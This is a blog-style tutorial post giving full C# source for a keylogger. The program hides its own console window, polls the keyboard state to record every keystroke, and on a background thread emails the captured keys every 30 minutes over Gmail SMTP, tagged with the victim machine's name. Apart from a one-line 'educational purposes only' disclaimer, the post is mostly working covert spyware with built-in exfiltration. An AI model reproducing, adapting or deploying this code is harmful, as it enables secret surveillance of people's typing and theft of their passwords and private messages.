This post will describe how to make console window hide
while capturing keystrokes and also how to retrieve captured keystrokes via
email. Here I want to make notice, this program developed for educational
purposes only and not for any illegal useJ.
Ok first you have to add more one more dllimport part to
your code, which will help us to call ShowWindowAsync method to hide window
after having access to main window’s pointer. Here I made two threads one for capture keystrokes while other sends email at fixed time intervals. Rather talking mush I’ll add the code segment so you can figured it out.
using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Diagnostics; using System.Threading; using System.Windows.Forms; using System.Net.Mail; using System.Net; namespace KeyLogger { class Program { [DllImport("user32.dll")] internal static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] internal static extern int GetAsyncKeyState(Int32 i); internal static bool IsDebugging = false; internal static List<string> buffer = new List<string>(); internal const int EmailTimeInterval = 30*60*1000;//min static void Main(string[] args) { //Handle if (args.Length > 0) { if (args.Length == 1) { if (args[0].ToString().Equals("/d")) { IsDebugging = true; } } } if (!IsDebugging) { IntPtr windowHandle = Process.GetCurrentProcess().MainWindowHandle; ShowWindowAsync(windowHandle, 0); } Thread loggingThread = new Thread(new ThreadStart(StartLogging)); Thread communicationThread = new Thread(new ThreadStart(SendMail)); loggingThread.Start(); communicationThread.Start(); StartLogging(); } private static void StartLogging() { try { while (true) { Thread.Sleep(10); for (Int32 i = 0; i < 255; i++) { int keyState = GetAsyncKeyState(i); if (keyState == 1 || keyState == -32767) { if (IsDebugging) { Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss")); } else { buffer.Add(((Keys)i).ToString()+"."); } break; } } } } catch (Exception ex) { if (IsDebugging) { MessageBox.Show(ex.Message); } } } private static void SendMail() { try { var fromAddress = new MailAddress("yourmail@gmail.com", "from_name"); var toAddress = new MailAddress("toaddress@gmail.com", "to_name"); const string fromPassword = "youpassword"; string subject = System.Environment.MachineName.ToString(); string body = ""; var smtp = new SmtpClient { Host = "smtp.gmail.com", Port = 587, EnableSsl = true, DeliveryMethod = SmtpDeliveryMethod.Network, UseDefaultCredentials = false, Credentials = new NetworkCredential(fromAddress.Address, fromPassword) }; while (true) { if (IsDebugging) { Thread.Sleep(2 * 60 * 1000);//2min } else { Thread.Sleep(EmailTimeInterval); } //construct body int lowerBound = buffer.Count;//mark current count for (int i = 0; i < lowerBound; i++) { body += buffer[i]; } buffer.RemoveRange(0, lowerBound); lowerBound = 0; if (IsDebugging) { MessageBox.Show(body); } using (var message = new MailMessage(fromAddress, toAddress) { Subject = subject, Body = body }) { smtp.Send(message); } } } catch (Exception ex) { if (IsDebugging) { MessageBox.Show(ex.ToString()); } } } } }
Other than above you can debug this by sending argument /d
like shown in main method. I’ve add some
buffer technique, where actually queue is being used. Once email ready to send
buffer will be cleared up to the point considering thread interleaving. I’m not
going to explain much about this here, think this approach would solve the
problem. That’s it for now J